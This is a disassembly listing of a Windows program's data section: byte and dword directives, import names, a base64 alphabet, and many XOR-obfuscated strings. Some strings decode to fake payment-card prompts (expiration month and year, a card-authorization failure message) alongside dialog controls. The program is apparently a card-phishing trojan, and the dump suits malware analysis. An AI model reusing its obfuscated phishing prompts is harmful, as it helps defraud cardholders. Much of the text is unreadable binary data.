		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 3 dup(0FFh)
		db 0FFh
		db 0C8h, 0A3h, 0
		db  10h
		db 0D0h, 0A3h, 0
		db  10h
		db 13h,	0A4h, 0
		db  10h
		db 51h,	0A4h, 0
		db  10h
		db 4, 0, 0F4h
aSz		db 'ښ',0
		db 1, 0, 77h
		db  2Bh	; +
		align 2
aSS_1		db '%s%s\',0
		db    3
		align 2
aAd2k		db 'Ad2k',0
		db 4
		db    0
		db 0C5h, 0E0h, 0A6h
		db 0FFh
		db 99h,	0, 6
		db    0
		db 35h,	2 dup(5Eh)
		db  44h	; D
		db 18h,	43h, 4Dh
		db    0
		db 8, 0, 0C1h
aFUmF		db '䲞',0
		db 4, 2	dup(0)
		db    0
		db 2Fh,	0, 6Dh
		db    0
		db 60h,	0, 6Bh
		db    0
		db 76h,	2 dup(0)
		db    0
		db 4, 0, 57h
aY36		db 'y36#',0
		db 6, 0, 0A7h
aK		db '֊',0
		db 6
		db    0
aBbC		db 'ʡ缲',0
		db 6, 0, 0FDh
aCcmLe		db 'Ћ',0
		db 6
		db    0
aUeeqSc		db 'Ø',0
		db 8,0
		db 6Ch
		db  49h	; I
		db 1Fh,	33h, 1
		db  18h
		db 14h,	49h, 19h
		db    0
		db 0Ah,	0, 6Ch
		db  1Fh
		db 0Ah,	0Fh, 33h
		db    3
		db 1Fh,	42h, 8
		db    0
		db 2 dup(0), 0Ah
		db    0
		db 1Bh,	68h, 7Dh
		db  78h	; x
		db 44h,	74h, 68h
		db  35h	; 5
		db 7Fh,	2 dup(77h)
		db    0
		db 6, 0, 7Fh
		db  0Ch
		db 0Bh,	0Dh, 1Ch
		db  0Fh
		db 6, 0, 8
		db    0
aO		db '',0
		db 7,0
		db 0F9h, 8Ah, 89h
aLrcnq		db '',0
		dw 6
aVegE		db 'Ѣ',0
		db    5
		align 2
		dw 97Ah
		db    8
		db 1Bh,	14h, 1Eh
		db    0
		db 4, 0, 0EAh
aSldo		db '',0
		db 6, 0, 0DEh
aNK		db '',0
		db 6
		db    0
aOz		db '޳',0
		db 6, 0, 97h
		db 0FAh	; 
		db 0F2h, 0FAh, 0F4h
		db 0FAh	; 
		db 0E7h, 0, 6
		db    0
		db 'ڷ',0
		db 4, 0, 0E2h
aDrzz		db '',0
		db 4, 0, 10h
		db  71h	; q
		db 64h,	7Fh, 79h
		db    0
		db 7, 0, 4Ch
a89		db '8#9<<)>',0
		db    6
		align 2
		dw 316Eh
		db  1Dh
		db 2, 2	dup(0Bh)
		db  1Eh
		align 2
		dw 0Ah
aGN		db 'ύ',0
		db 0Ah,0
		dw 4122h
		db  50h	; P
		db 56h,	46h, 4Eh
		db  4Eh	; N
		db 0Ch,	46h, 4Eh
		db  4Eh	; N
		align 2
		dw 12h
		db  81h	; 
		db 0D2h, 0E7h, 0E2h
		db 0C8h	; 
		db 0F2h, 0C7h, 0E8h
		db 0EDh	; 
		db 0E4h, 0D1h, 0F3h
		db 0EEh	; 
		db 0F5h, 0E4h, 0E2h
		db 0F5h	; 
		db 0E4h, 0E5h, 0
		db    7
		align 2
aNG		db '΃',0
		db 7,0
a8P22		db '^-8=p:22',0
		db 0Bh,0
aSgxbeCesf	db 'Й',0
		db 0Eh,	0, 40h
		db    3
		db 2Fh,	15h, 2Eh
a_4		db ').)4)!,):%',0
		db 0Ch
		db    0
aQwpwjw_rwd	db '>}QwPWJW_RWD[',0
		db 10h
		db    0
		db 5Dh,	1Eh, 32h
		db  1Eh
		db 2Fh,	38h, 3Ch
		db  29h	; )
		db 38h,	14h, 33h
a_38		db '.)<3>8',0
		db 0Fh
		db    0
		db 64h,	27h, 28h
		db  37h	; 7
		db 2Dh,	20h, 22h
		db  16h
		db 0Bh,	9, 37h
		db  10h
		db 16h,	0Dh, 0Ah
		db    3
		align 2
		dw 9
		db  16h
aYzs8rzz	db 'yzs%$8rzz',0
		db 9,0
		db 0C5h, 0AAh, 0A9h
		db 0A0h	; 
		db 0F6h, 0F7h, 0EBh
		db 0A1h	; 
		db 2 dup(0A9h),	0
		db  11h
		align 2
		dw 0CB82h
		db 0ECh	; 
		db 0F6h, 0E7h, 0F0h
		db 0ECh	; 
		db 0E7h, 0F6h, 0A2h
		db 0C7h	; 
		db 0FAh, 0F2h, 0EEh
		db 0EDh	; 
		db 0F0h, 0E7h, 0F0h
		db    0
		db 1, 0, 2Dh
		db  0Eh
		align 2
		dw 1
		db  0Bh
		db 28h,	0, 1
		db    0
		db 3, 20h, 0
		db    7
		align 2
aH8rgg		db 'H <<8rgg',0
		db 1
		db    0
		db 0E3h, 0C0h, 0
		db    7
		align 2
		dw 5F37h
		db  43h	; C
		db 43h,	47h, 0Dh
		db  18h
		db 18h,	0, 2Bh
		db    4
		db 0F3h, 90h, 9Bh
aCricagbcaaAxFQ	db 'ݚДݐКݐЄݐ݁Є݀ݒ'
		db 'ݐАݝНݖݐЄ݃ݐЄ݀'
		db 'ݐ݆МݝݐЄݑ݁ОދݐЄ݃'
		db 'ݐЄݑޑސݐЄ݃ݐЄݑݐЃ'
		db 'ݐЖݐЄݑݐЄݐݐЄ݅݁Є'
		db 'ݐݐДݐЄ݃ݐЄݞ݁Є݆'
		db '݁ДݐЄ݃ݐЄ݄ݜЄ'
		db 'ݐݐЄ݃ݐЄݑݐЄ'
		db 'ݚ݁Бݛޜݐ݆Є݄݅Єݘ'
		db '݁ЄݝݐИݐЄ݄݅О'
		db 'ݒݐ݆Мޑݟݐ݆'
		db 'ЄݒݐЄ݁ݐЄ݃ݐЄݛݐ'
		db 'И݁ЊݑИޑ݁Єݟݟ'
		db 'ݐБݐЇݐЄݝݐݐ'
		db 'Є݄݅ЄݑއݐЄ݄݅М'
		db 'ݐЇޝ݁Ѐ݁Ѐ݁ЕݑД'
		db '݁Ѕ݄',0
aClickOnceToC_0	db 'Click Once To Continue',0
aButton_0	db 'BUTTON',0
		db  1Eh
		align 2
aP5919?P415zzz1	db 'p5( 9"1$9?>P41$5zzz1$=P 9>P3?45',0
		dw 6
aI_0		db 'i:=(= *',0
aEdit_0		db 'EDIT',0
		db 6, 0, 2Eh
		db  1Ch
		db 1Eh,	0Bh, 0
		db  1Ch
		db 5Bh,	0, 4
		db    0
		db 3Bh,	1Eh, 15h
		db    9
		db 4Eh,	2 dup(0)
aCombobox_0	db 'COMBOBOX',0
		db 6, 0, 23h
aPwbwj		db 'pwbwj`',0
aN		db 'n',0
		db 40h,	15h, 2Eh
a4542Nje30233__	db '!",%`4/`!54(/2):%nJe3`02/#%33).',27h,'`#%.4%2`)3`5.!",%`4/`!54(/2):%'
		db '`9/52`#!2$`e3nJ',0Dh,'!+%`#/22%#4)/.3`!.$`429`!',27h,'!).n',0
		db 0Ah,0
		db 54h
		db  19h
		db 35h,	27h, 20h
		db  31h	; 1
		db 26h,	17h, 35h
		db  26h	; &
		db 30h,	0, 56h
		db  49h	; I
		db 53h,	41h, 0
		db  20h
		align 2
aStatic_0	db 'STATIC',0
		db 2 dup(0), 0A7h
		db    0
		db 6, 0, 0EBh
aKVi		db '',0
		db 15h
		db    0
aUuuusmajrrkndu	db '㓑ㅂ',0
		db    6
		align 2
		dw 1D4Eh
		db  1Ah
		db 0Fh,	1Ah, 7
		db  0Dh
		align 2
aKkqVx_0	db 'kkq-vx',0
aExplorer_0	db 'Explorer',0
		db 9,0
		db  45h	; E
		db 1, 2Ah, 26h
a1		db 0Ah
		db 27h,'/ &1',0
		db 0Eh
		db    0
		db 5, 51h, 64h
aGrlkajrfidvv	db 'gRlkajrFidvv',0
		db 0Eh,	0, 9Eh
		db 0D9h	; 
		db 0FBh, 0EAh, 0D2h
		db 0F1h	; 
		db 0FDh, 0FFh, 0F2h
		db 0FBh	; 
		db 0D7h, 0F0h, 0F8h
		db 0F1h	; 
		db 0DFh, 0, 0Dh
		db    0
		db 0AEh, 0E9h, 0CBh
		db 0DAh	; 
		db 0F8h, 0CBh, 0DCh
aIQ		db '',0
		db  14h
		align 2
aTqxitpxirndnix	db '={TQXiTPXiRnDNIXPiTPX',0
		db  0Fh
		align 2
aFZESG		db 'ה',0
		db 15h
		db    0
aRzefPmxneiojpt	db '৅',0
		db  14h
		align 2
		dw 450Ch
aBxiCogihhioIai	db 'bxi~`cogihHio~iaibx',0
		db  14h
		align 2
		dw 0C089h
		db 0E7h	; 
		db 0FDh, 0ECh, 0FBh
		db 0E5h	; 
		db 0E6h, 0EAh, 0E2h
		db 0ECh	; 
		db 0EDh, 0C0h, 0E7h
		db 0EAh	; 
		db 0FBh, 0ECh, 0E4h
		db 0ECh	; 
		db 0E7h, 0FDh, 0
		db  13h
		align 2
		dw 0E4A3h
		db 0C6h	; 
		db 0D7h, 0F0h, 0DAh
aCT		db '',0
		db 12h
		db    0
		db 6Ch,	2Bh, 9
		db  18h
		db 21h,	3, 8
		db  19h
		align 2
		dw 2A09h
		db    5
		align 2
		dw 2209h
		db  0Dh
		db 1, 9, 2Dh
		db    0
		db 0Ah,	0, 0DBh
aFlCopG		db '',0
		db 0Ch
		db    0
aRgtebfenxfesb	db '࣒',0
		db 9,0
a0s_@ivyUq	db '0s_@IvY\Uq',0
		db  11h
		align 2
a@bscntlaubbtwf	db 7,'@bsCntlAubbTwfdbF',0
		db 0Ch,	0, 5Ch
		db  0Fh
		db 39h,	28h, 19h
		db  2Eh	; .
		db 2Eh,	33h, 2Eh
		db  11h
		db 33h,	38h, 39h
		db    0
		db 11h,	0, 6Bh
		db  2Ch	; ,
		db 0Eh,	1Fh, 2Eh
		db  13h
		db 2, 1Fh, 28h
		db    4
		db 0Fh,	0Eh, 3Fh
		db    3
		db 19h,	0Eh, 0Ah
		db  0Fh
		align 2
		dw 0Dh
		db  16h
		db 51h,	73h, 62h
		db  52h	; R
		db 64h,	7Fh, 60h
aSbofsw		db 'sBofsW',0
		db 9,0
		db 55h,	13h, 3Ch
		db  3Bh	; ;
		db 31h,	16h, 39h
		db  3Ah	; :
		db 26h,	30h, 0
		db  0Dh
		align 2
aZsSSC		db '',0
		db 0Eh,	0, 64h
		db  22h	; "
		db 0Dh,	0Ah, 0
		db  22h	; "
		db 0Dh,	16h, 17h
		db  10h
		db 22h,	0Dh, 8
		db    1
		db 25h,	0, 0Ch
		db    0
		db 8Fh,	0C8h, 0EAh
		db 0FBh	; 
		db 0DBh, 0E6h, 0ECh
		db 0E4h	; 
		db 0CCh, 0E0h, 0FAh
		db 0E1h	; 
		db 0FBh, 0, 0Dh
		db    0
aFRiBclibilca	db '䶐',0
		db 0Dh,0
aIIpepiI	db 'ܛ',0
		db 9,0
		db 64h
		db  28h	; (
		db 0Bh,	7, 5
		db    8
		db 22h,	16h, 1
		db    1
		align 2
		dw 0Ah
		db  79h	; y
		db 35h,	16h, 1Ah
		db  18h
		db 15h,	38h, 15h
		db  15h
		db 16h,	1Ah, 0
		db  0Bh
		align 2
		dw 491Fh
aVmkjSymzz	db 'vmkj~sYmzz',0
		db 0Ch
		db    0
aUKsccvpvppma	db '㵊',0
		db 8,0
aXoknlcfo	db 0Ah
		db 'XoknLcfo',0
		db 0Ch
		dd 0F2D09700h, 0FAF2C3E3h, 0E3F6C7E7h, 1200D6FFh, 9E95D200h
		dd 0BEB3B0BDh, 0BDBFB79Fh, 0A681ABA0h, 0A1A7A6B3h, 0D001300h
		dd 79617840h, 79744F64h, 5A625968h, 4E686964h, 7F6C65h
		dd 42150013h, 5670717Ch, 4167747Dh, 7960587Ah, 6C577C61h
		dd 7007061h, 3B055200h,	372A173Ch, 80031h, 0ECEBF498h
		dd 0F6FDF4EAh, 0B00CFh,	66775512h, 777E7B54h, 77687B41h
		dd 5E000B00h, 2D31321Dh, 303F163Bh, 3B323Ah, 8FD80009h
		dd 0BDACB1AAh, 0BDB4B19Eh, 0B5000E00h, 0F3C1D0E6h, 0E5D0D9DCh
		dd 0C1DBDCDAh, 0B00C7D0h, 0F0D19500h, 0F0E1F0F9h, 0F0F9FCD3h
		dd 0B00D4h, 0FEE9D89Bh,	0DDFEEFFAh, 0DAFEF7F2h,	5000C00h
		dd 61646A49h, 77676C49h, 447C7764h, 0CE001000h,	83BAAB89h
		dd 0A2BBAAA1h, 0A0AF86ABh, 8FABA2AAh, 0AD000400h, 0DDC8C8EFh
		dd 83000A00h, 0F7EAFBC6h, 0E6F1EBD7h, 0B00E7E2h, 88BFED00h
		dd 8281AE8Ah, 88A6889Eh, 100094h, 52506735h, 47504064h
		dd 5954634Ch, 4D705040h, 0D0074h, 0E8EADD8Fh, 0E1EAFFC0h
		dd 0CAF6EAC4h, 0C00CEF7h, 0F0F59400h, 0FDE4F5E2h, 0F0BAA6A7h
		dd 0C00F8F8h, 5F5A3B00h, 524B5A4Dh, 5F150908h, 1005757h
		dd 8FF300h, 1007C20h, 605A00h, 79590004h, 632C7Ch, 79050001h
		dd 0DA000A00h, 959CE6FAh, 0FFE09788h, 0B00E4AFh, 0EBF7D700h
		dd 9A968591h, 0A2F2ED92h, 0A00E9h, 0E29884A4h, 0E1E9E5F6h
		dd 9AE99Eh, 400h, 4C002200h, 4F004300h,	4700h, 500h, 0CC00BA00h
		dd 0D600DB00h, 0DF00CF00h, 2000000h, 0CCCCEC00h, 38000100h
		dd 120017h, 52425C31h, 6E425D45h, 45504542h, 50534244h
		dd 30243h, 5A0E000Eh, 67596C6Fh, 79616A60h, 7D6F624Dh
		dd 12007Dh, 1B3075h, 6103118h, 51A011Eh, 111B1C22h, 6021Ah
		dd 0D395000Dh, 0C2F1FBFCh, 0FAF1FBFCh, 0D4EDD0E2h, 91001000h
		dd 0FFF0E3C5h, 0E5F0FDE2h, 0E2F4DCF4h, 0F4F6F0E2h, 4A000A00h
		dd 3D252219h, 2E24231Dh, 0E003D25h, 0D7E1B200h,	0DCDBE5C6h
		dd 0E6C5DDD6h, 0F3C6CAD7h, 67000E00h, 30130234h, 803090Eh
		dd 9082B10h, 8002600h, 91A7F400h, 999DA080h, 8008691h
		dd 9EA8FB00h, 9894BD8Fh, 0C00888Eh, 0C2F4A700h,	0C2EAC3C9h
		dd 0C0C6D4D4h, 0E00E6C2h, 0B780D200h, 0A6A1BBB5h, 0BE91A0B7h
		dd 93A1A1B3h, 69000A00h, 0C1F0624h, 0D07003Eh, 0B001E06h
		dd 0D4FCB100h, 0D6D0C2C2h, 0C9DEF3D4h, 900F0h, 0CDC3E0ACh
		dd 0C3CFE5C8h, 0B00EDC2h, 99BAF600h, 83B59297h,	84998584h
		dd 0E00B7h, 0B7A684C3h,	0A7ADAA94h, 0A697B4ACh,	82B7BBh
		dd 7E39000Dh, 506E4D5Ch, 4E565D57h, 4D5A5C6Bh, 9D000E00h
		dd 0CAE9F8DAh, 0F2F9F3F4h, 0F3F2D1EAh, 900DCFAh, 0BB99DE00h
		dd 0B0B789AAh, 0A9B1BAh, 4C0B000Bh, 6E467F6Eh, 6C6A7878h
		dd 13004A6Eh, 23014600h, 34290032h, 29342123h, 11222833h
		dd 2922282Fh, 0D0031h, 0EBFAD89Fh, 0ECFEF3DCh, 0F2FED1ECh
		dd 1000DEFAh, 715C1800h, 6C79686Bh, 7D55707Bh, 7F796B6Bh
		dd 0D00597Dh, 89A8EC00h, 839E989Fh, 8285BB95h, 9B8388h
		dd 4B0F000Eh, 6658696Ah, 78606B61h, 6C607D5Fh, 0F004Eh
		dd 0B8AF9EDDh, 8AB8A9BCh, 0B2B9B3B4h, 9CA598AAh, 0E2000F00h
		dd 8E8E83A1h, 868C8BB5h, 90B2958Dh, 0A3818Dh, 87F2000Ah
		dd 0C1809781h, 9E96DCC0h, 0A009Eh, 3F292F5Ah, 74686928h
		dd 36363Eh, 4D680004h, 34520Bh,	9D0000h, 0D0A80001h, 0C4001700h
		dd 2 dup(0A7E1A7E1h), 0E1A7E1E9h, 0E1A7E1A7h, 0EAA7E1A7h
		dd 0A9ABA7h, 63460016h,	2 dup(63256325h), 25636B25h, 25632563h
		dd 34682563h, 10033h, 4004519h,	47072900h, 1005A45h, 7D2100h
		dd 255C7325h, 40073h, 5F702603h, 29h, 900h, 61000300h
		dd 65006600h, 71006C00h, 46006600h, 67006D00h, 5A000000h
		dd 84D1ED00h, 9ACD8A80h, 85998984h, 85CDDDD0h, 858A8488h
		dd 0CDDDD099h, 899F828Fh, 0DDD09F88h, 8E9F9ECDh, 999985D0h
		dd 0C2C2D79Dh, 85D29EC8h, 0CB9EC8D0h, 98C8D084h, 82CB9EC8h
		dd 0CB98C8D0h, 8EC8D08Bh, 0D0849ECBh, 9ECB9EC8h, 98C8D082h
		dd 0D08199CBh, 89CB98C8h, 0D39EC8D0h, 3F002C00h, 58525603h
		dd 5B56481Fh, 0F02574Bh, 565A571Fh, 24B5758h, 505D1F0Fh
		dd 4D5A5B4Dh, 4C1F0F02h, 1A025C4Dh, 5900104Ch, 15C1A02h
		dd 5000700h, 393B6739h,	3B672Ah, 0EDC30005h, 0A2B7A2A7h
		dd 27000000h, 1000400h,	59393124h, 0AC000400h, 0F49E8289h
		dd 70000100h, 63250055h, 4D000100h, 30011h, 0B4E6B289h
		dd 2C000400h, 11435F17h, 0D9000400h, 0F3E4BDE2h, 300h
		dd 5A001300h, 54005E00h, 0F000000h, 54022700h, 4B41437Bh
		dd 145D5202h, 4B430915h, 0F004Bh, 7287E5Bh, 2E7E3D30h
		dd 69682137h, 37373F75h, 0F000400h, 53356C2Ah, 6A000400h
		dd 19060444h, 0A4000100h, 900F8h, 160B2979h, 0D1A0C1Dh
		dd 29001D30h, 0C9D58600h, 0C7D1D2C0h, 0CBDAC3D4h, 0E9F4E5EFh
		dd 0F2E0E9F5h, 0E8EFD1DAh, 0F5F1E9E2h, 0F4F3C5DAh, 0F2E8E3F4h
		dd 0F5F4E3D0h, 0E8E9EFh, 0BD930001h, 0A7000400h, 89FF828Ah
		dd 0C3000300h, 9FF9A0h,	0C3E60008h, 93C3C893h, 93C3C8h
		dd 47090002h, 2005Dh, 74152Ch, 7D39000Ch, 7E494A50h, 58694D5Ch
		dd 54584Bh, 1A4C000Bh, 2D253E2Dh, 22053822h, 0C003825h
		dd 0EFD88E00h, 0E0EFE7FCh, 0EBE2CDFAh, 0D00FCEFh, 0E1CB9800h
		dd 0FDEADEEBh, 0EAECCBFDh, 0FFF6F1h, 580B000Eh,	674A7872h
		dd 58686467h, 6562797Fh, 0C006Ch, 3B32315Eh, 6D2A2B3Fh
		dd 323A706Ch, 0C0032h, 3E37345Bh, 682F2E3Ah, 373F7569h
		dd 40037h, 44460628h, 1005Bh, 10005A06h, 253E6D00h, 2B19082Ah
		dd 8090102h, 190C3D1Fh,	0B002C05h, 0D166500h, 56090900h
		dd 9014B57h, 0B0009h, 0C3CED5A6h, 9495CACAh, 0CACAC288h
		dd 4002A00h, 0EFEBEF00h, 0E00EFEFh, 0F9DB9C00h,	0F3E8CFE8h
		dd 0FED3F7FFh, 0E8FFF9F6h, 47000B00h, 26223504h, 28012233h
		dd 63329h, 93F40009h, 0C6C79D90h, 989890DAh, 14000900h
		dd 277D7073h, 78703A26h, 10078h, 0F8D8h, 13000400h, 84BFEA00h
		dd 8F86888Bh, 0CA859ECAh, 829E9F8Bh, 90839885h,	35008Fh
		dd 0FBF4CF9Ah, 0BAFFF6F8h, 0FBBAF5EEh, 0F5F2EEEFh, 0FFE0F3E8h
		dd 0D3BAB7BAh, 0C8D5D9D4h, 0CED9DFC8h, 0D4D3CABAh, 0F6CABAB4h
		dd 0FFE9FBFFh, 0F5F9BAB6h, 0F9FFE8E8h, 100B4EEh, 614C00h
		dd 61656C50h, 202C6573h, 656C6573h, 45207463h, 72697078h
		dd 6F697461h, 6559206Eh, 1007261h, 7A5A00h, 61656C50h
		dd 202C6573h, 656C6573h, 45207463h, 72697078h, 6F697461h
		dd 6F4D206Eh, 68746Eh, 44434241h, 48474645h, 4C4B4A49h
		dd 504F4E4Dh, 54535251h, 58575655h, 62615A59h, 66656463h
		dd 6A696867h, 6E6D6C6Bh, 7271706Fh, 76757473h, 7A797877h
		dd 33323130h, 37363534h, 2F2B3938h, 2F2F3A00h, 0A0597200h
		dd 0CFF6A89Bh, 42A411h,	8F0AC9A0h, 4106E039h, 0D0399AFEh
		dd 8CA411h, 8F0AC9A0h, 0A715A039h, 0D0658734h, 4A9211h
		dd 0ACC7AF20h, 50F25B4Dh, 0CF98B530h, 82BB11h, 0CEBD00AAh
		dd 96B2840Bh, 1ABAB4B1h, 9CB610h, 1D3400AAh, 2040007h
		dd 0
		dd 0C000h, 0
		dd 2C442546h, 0D026CB33h, 83B411h, 1D94FC0h, 50F1FF19h
		dd 0CF98B530h, 82BB11h,	0CEBD00AAh, 50F21F0Bh, 0CF98B530h
		dd 82BB11h, 0CEBD00AAh,	50F1F70Bh, 0CF98B530h, 82BB11h
		dd 0CEBD00AAh, 50F2400Bh, 0CF98B530h, 82BB11h, 0CEBD00AAh
		dd 2C44270Bh, 0D026CB33h, 83B411h, 1D94FC0h, 0CB690019h
		dd 0CF4D9585h, 0C9611h,	0EEF4C780h, 85h, 0
		dd 0C000h, 0
		dd 0C166146h, 0D0CDAFD3h, 3E8A11h, 0E2C94FC0h, 6Eh, 9Ch	dup(0)
		dd 1407000h, 2 dup(0)
		dd 1418400h, 140AC00h, 1408400h, 2 dup(0)
		dd 141A000h, 140C000h, 12h dup(0)
		dd 140E800h, 140F800h, 1411400h, 2 dup(0)
		dd 1412000h, 1412C00h, 1414000h, 1414C00h, 1415800h, 1416400h
		dd 1416C00h, 1417800h, 2 dup(0)
		dd 140E800h, 140F800h, 1411400h, 2 dup(0)
		dd 1412000h, 1412C00h, 1414000h, 1414C00h, 1415800h, 1416400h
		dd 1416C00h, 1417800h, 2 dup(0)
		dd 45009B00h, 50746978h, 65636F72h, 7373h, 47012400h, 6E457465h
		dd 6F726976h, 6E656D6Eh, 72745374h, 73676E69h, 41h, 52027800h
		dd 6E556C74h, 646E6977h, 5F008000h, 706F6466h, 6E65h, 5F014F00h
		dd 6E65706Fh, 66736F5Fh, 646E6168h, 656Ch, 66020D00h, 736F6C63h
		dd 65h,	5F003900h, 69786563h, 74h, 6D024E00h, 6F6C6C61h
		dd 63h,	72026000h, 65736961h, 73026700h, 75627465h, 66h
		dd 73027500h, 70637274h, 79h, 52454B00h, 334C454Eh, 6C642E32h
		dd 6Ch,	1400000h, 2 dup(1400010h), 54524310h, 2E4C4C44h
		dd 4C4C44h, 1401400h, 7	dup(1401410h), 10h, 0Dh	dup(0)
		dd 2000h, 0
		dd 2000h, 100000h, 0BE0000h, 0C00000h, 0F60000h, 78h dup(0)
		dd 100000h, 1F000h, 8C303100h, 0FD30F330h, 13310530h, 21311931h
		dd 0B6312731h, 0FC31EF31h, 0E320131h, 23321332h, 3E322932h
		dd 2832B432h, 33332E33h, 0A3338A33h, 0BF33B933h, 0EE33D833h
		dd 0FF33F433h, 1A340933h, 3E343134h, 77344C34h,	82347D34h
		dd 95348F34h, 0A1349B34h, 0E234BF34h, 0ED34E834h, 534F434h
		dd 17350B35h, 2A352235h, 44353E35h, 61354E35h, 98357535h
		dd 0A3359E35h, 0B735A935h, 0C935C335h, 0DC35D435h, 0F635F035h
		dd 13360035h, 4A362736h, 57365036h, 6B365D36h, 95368E36h
		dd 0AD36A736h, 236FC36h, 0AF377637h, 0C037BB37h, 0DB37D037h
		dd 0F537E137h, 1937FA37h, 33381F38h, 43383938h,	6A385638h
		dd 84387E38h, 0AA389138h, 0C438B038h, 0E238CB38h, 338FD38h
		dd 34391939h, 4D393A39h, 6E396839h, 9C398139h, 0AA39A239h
		dd 0DC39CF39h, 0F639EA39h, 139FB39h, 213A143Ah,	2F3A263Ah
		dd 413A3C3Ah, 523A463Ah, 5D3A583Ah, 713A623Ah, 7C3A773Ah
		dd 8C3A863Ah, 0A83A913Ah, 0BF3AAE3Ah, 0E53AD23Ah, 0FD3AEC3Ah
		dd 173B033Ah, 303B233Bh, 483B353Bh, 5F3B4F3Bh, 7B3B6C3Bh
		dd 8A3B843Bh, 0C83BC03Bh, 93BFD3Bh, 263C1E3Ch, 6C3C553Ch
		dd 7E3C753Ch, 0A93C973Ch, 0B93CB23Ch, 0E83CC03Ch, 43CFE3Ch
		dd 243D163Dh, 4F3D483Dh, 693D5C3Dh, 773D6E3Dh, 893D843Dh
		dd 9B3D8E3Dh, 0A63DA13Dh, 0D63DC53Dh, 0FD3DE93Dh, 153E023Dh
		dd 273E213Eh, 4A3E343Eh, 633E563Eh, 893E793Eh, 9E3E8F3Eh
		dd 0B03EAB3Eh, 0C93EC03Eh, 0E63ED93Eh, 0F43EEB3Eh, 63F013Eh
		dd 173F0B3Fh, 223F1D3Fh, 333F273Fh, 3E3F393Fh, 4F3F433Fh
		dd 5A3F553Fh, 6B3F5F3Fh, 763F713Fh, 8A3F7B3Fh, 953F903Fh
		dd 0A43F9F3Fh, 0E73FD93Fh, 3FF43Fh, 200000h, 1EC00h, 12300500h
		dd 3F301A30h, 52304D30h, 8B305D30h, 0A9309030h,	0C830B730h
		dd 0E530D730h, 0F730EA30h, 16310630h, 56315031h, 9C316F31h
		dd 0C031AD31h, 0D931D431h, 0FF31EC31h, 1B320531h, 50322B32h
		dd 75325732h, 9A328132h, 0CA32B132h, 0F032E032h, 11330632h
		dd 2A332333h, 64335E33h, 7F337733h, 0F833EC33h,	0D33FE33h
		dd 1E341834h, 3A342C34h, 4C344034h, 6C345A34h, 80347234h
		dd 90348A34h, 0A5349C34h, 0B434AB34h, 0E334D234h, 0A34F534h
		dd 1D351135h, 49354435h, 66355535h, 71356C35h, 8D357C35h
		dd 99359335h, 0A4359E35h, 0AF35A935h, 0B935B435h, 0CC35C335h
		dd 0DC35D735h, 0E735E235h, 0F235ED35h, 0FD35F835h, 8360335h
		dd 1F361436h, 2A362436h, 3D363636h, 4F364936h, 63365C36h
		dd 78367136h, 85367D36h, 93368C36h, 0B4369A36h,	0D136BA36h
		dd 0F936DA36h, 8370136h, 1D370E37h, 2D372637h, 4A373337h
		dd 63375637h, 71376937h, 0A4379737h, 0E137CA37h, 1637F737h
		dd 35381D38h, 86388038h, 0BA38A438h, 0C390338h,	28392239h
		dd 83396D39h, 0A2399739h, 0C539A939h, 0E439D239h, 0F539EF39h
		dd 133A0D39h, 4E3A483Ah, 773A6C3Ah, 0A23A823Ah,	0DF3AA83Ah
		dd 33AE53Ah, 213B0F3Bh,	4E3B3E3Bh, 663B573Bh, 853B723Bh
		dd 0AD3B923Bh, 0BD3BB73Bh, 0CF3BC93Bh, 0F23BD53Bh, 143C003Bh
		dd 403C323Ch, 713C623Ch, 8C3C763Ch, 0A13C923Ch,	0C53CA83Ch
		dd 0D73CD03Ch, 0F73CEE3Ch, 163D063Ch, 3C3D313Dh, 4F3D423Dh
		dd 5C3D553Dh, 8D3D693Dh, 373DC93Dh, 533E483Eh, 903E663Eh
		dd 0B13EA63Eh, 0CA3EC23Eh, 0DB3ED53Eh, 0C3EFB3Eh, 243F173Fh
		dd 603F2B3Fh, 8A3F683Fh, 9E3F943Fh, 0B03FAB3Fh,	0D33FC53Fh
		dd 30003Fh, 14400h, 7300000h, 14300D30h, 57305230h, 74306A30h
		dd 0B630B030h, 0D630CF30h, 0F630EF30h, 16310F30h, 47314131h
		dd 65314C31h, 85317D31h, 0A1319B31h, 0C931BF31h, 0D531CF31h
		dd 0EB31DF31h, 131F131h, 2C322532h, 5F324232h, 76326632h
		dd 0C432AF32h, 0E332D632h, 0FE32F732h, 1D331332h, 58332D33h
		dd 73336A33h, 0B433A933h, 0CF33BD33h, 533EF33h,	6D342334h
